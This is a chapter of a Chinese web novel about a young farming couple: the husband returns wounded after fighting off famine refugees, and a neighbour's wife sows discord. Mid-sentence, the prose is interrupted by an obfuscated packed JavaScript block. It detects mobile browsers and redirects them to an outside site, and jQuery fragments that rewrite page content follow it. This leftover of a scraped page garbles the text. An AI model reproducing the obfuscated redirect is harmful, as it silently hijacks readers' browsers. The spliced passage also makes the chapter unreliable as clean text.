14. 第14章

作品:《溪畔农家种田日常

    陆柏后怕地将额头抵在她的额头上,一遍又一遍地在她耳边说“我没事。”


    许梨推推他“点灯吧,身上都是血腥味,我看看伤到哪儿了?”


    陆柏听她呼吸平稳下来,这才起身点灯。


    他的脖子、嘴角都结了血痂,鬓角残留着血迹,似乎是从头发丛里流下来的。


    许梨伸手往他头上探去,陆柏一把抓住她的手“不碍事,我去洗把脸冲个澡就好,你躺着。”


    说完有些粗鲁地将许梨按回床上,找了一套干净衣衫,大步往外走去,路过阿宁时胡乱揉了揉他的发顶“睡去吧!”


    许梨不放心地穿衣跟着,只见男人在院里大喇喇地脱下衣裳,宽肩窄腰,胸/膛跟胳膊遒劲有力,许梨脸一热,忙回屋去,坐在床边等他。


    须臾,屋外水声渐止,男人突地闷哼一声,许梨神经一紧。


    “睡吧,天儿还早。”陆柏回屋,一把提起许梨,将她安置在里侧,许梨见他神色无虞,想来都不是重伤。


    却听他在躺下时似乎扯到了哪里,嘴里“嘶”了一声,她下意识地扯住他“我看看伤哪里了?别逞强。”


    陆柏却不由分说地将她按倒,胡乱用被子将她裹在怀里,目如鹰隼地锁住满眼担忧的她,粗生粗气地道“屁大点伤,睡!”


    身后躺着一个男人,许梨脑中辗转发侧,怎么都睡不踏实,男人估摸着确实累了,鼻音浓重地嘟囔了句“烙饼呢?不想睡了?”


    说完闭着眼往前挺了挺身,吓得许梨立马一动不动了,脑海里浮现出那人快有自己大腿粗的胳膊……


    不一会,身后响起略沉的鼾声——不是拉风箱的那种地动山摇,而是绵长、浑厚的呼吸声。


    许梨眼皮子逐渐开始打架,不知何时也沉沉睡去。


    第二天,她是被剜/醒的。


    男人目光如炬地盯着她,身下一处实实地顶着她的臀。


    许梨一僵,不敢动弹。


    陆柏把她翻个身,面对自己,嗤笑一声“怕啥?昨晚不是要看伤口?”


    许梨暗啐一声,看他这模样好得很,哪里像受伤的人?她没好气地推他“也不叫我,都啥时辰了?”


    陆柏“嘶”一声,像是真真切切地被碰到了伤口,许梨瞬间懊悔伸手去查看,这人糙得很,上次那么长的伤口都跟没事人一样,想必昨晚都是忍着在。


    陆柏一把抓住她的手,放在下巴跟嘴边摩挲许久“梨娘”,说着揽过她肩膀,在耳边亲/了亲,许梨生出一股传遍全身的痒/意。


    “想我没?”他用胳膊支着头,盯着她清澈的眸。


    许梨耳朵一下子红了“哎呀,一大早就唧唧歪歪,我得起去做饭了!”


    陆柏闷闷地笑“昨晚,我真怕死在外面再也看不到你了。”


    许梨一把捂住他的嘴“信口开河!”


    陆柏顺势亲/亲她的手心“想必接下来的日子不会太平了,没事少往镇上去,大河村偏僻,贼人不好找到这里。”


    许梨用手抵着他的肩膀,将他跟自己拉开些许距离,他瓮声瓮气说话的灼热气息,吹动她的碎发,痒/痒的。


    “我正要跟你说,昨儿在镇上我偷听到衙役说,有饥民南下……”


    许梨把昨日的事情跟他说了一遍,陆柏捏捏她的耳朵。


    “你做的对,王乡绅的闺女在北边给个大官当妾,庄子上看门的大爷说,前几天那边传信过来说,要乱了,北边旱了一年多,人跟牲口饿死了大半,现在官府也管不了了,荒民被逼南下,咱们这里风调雨顺的,又是南北交接的地儿,怕是最近难有安生日子。”


    “昨儿一大早堰塘放水后,我们结了钱就匆匆上路,顺带在镇上买了十几斗粮食,却不想半夜遇上了几个逃荒的,那几人见我们仅有三人,仗着人多还有刀子傍身就生了歹心,好在他们几人饿得只剩一层皮,被我们收拾了一顿,我们仨虽也受了伤,但都不重,粮食也保住了……”


    许梨听得心有余悸,掀开被子,只见男人肚子、肩膀都有淤青跟刀伤,好在伤口不深,她又伸手摸了摸他的脑袋,摩挲好一阵,才在头顶摸到了一块血痂“还疼吗?”


    陆柏看着小女人眸中的担忧,用下巴摩挲她的头顶“皮糙肉厚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319719|167423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的,疼啥?”


    两人腻歪了一会儿,才起床。


    堂屋里放着的两袋粮食,上面沾染了不少血迹,许梨看得发怔,想起过往,只觉得心里不是滋味儿。


    本以为过上了安稳日子,谁曾想……不过,她并未泄气,至少这片土地上,只要勤快,总归饿不死。


    “嘎嘎嘎”


    “叽叽叽”


    鸭子跟鸡看见许梨,都围到鸡圈旁边,催着她投喂,陆柏稀奇“还逮了鸭子?”


    “大伯娘送的。”


    阿宁早早地跟二狗结伴去拔草,这会儿早背了一大篓子野菜、杂草回来。


    “咕咕咕咕~”他一叫,鸡鸭马上围拢去。


    前几天泡的酸竹笋已经变黄了,许梨尝了一根,酸爽脆嫩,比新鲜竹笋滋味更好。


    “阿姐,看!”阿宁将背篓拿给许梨看,底下有好多河蚬,说着顺带抓了一根竹笋塞嘴里,直酸得眉歪眼斜。


    许梨笑骂“叫你馋!喊你姐夫吃饭。”


    陆柏一大早就去地里了,庄稼人,指望一亩三分地过活,可不跟眼珠子一样宝贝?


    “得令!”阿宁做个鬼脸,带着大黑一溜烟跑出院子去。


    许梨左等右等,直等到糙米粥上结了一层厚厚的粥油,二人还没回来。


    她擦擦手,提着篮子往地里去。


    田埂上遇见赵赖子家的,那妇人头上油光蹭亮,一看就抹了不少猪油,脸上还擦了粗劣的脂粉,脸蛋儿跟脖子一黑一白,看着颇为滑稽。


    “哼,你这小蹄子,我已跟柏哥儿说了你说的那些混账话,且等着被收拾吧!他还答应,等会就送粮食去我家!”


    那妇人说完,扭着水桶腰走了,经过许梨时,使坏地一撞,险些把她撞下土坡。


    看她那得意洋洋、胜券在握的模样,许梨心里十分不舒坦,哪怕她隐隐觉得陆柏应不是个糊涂人,但二人成亲不过半月多……


    还没到麦地里,许梨就远远看看陆柏。


    阿宁哭丧着一张脸,陆柏脸色也很难看,看向她的眼神有失望,但更多的是审视跟疏离。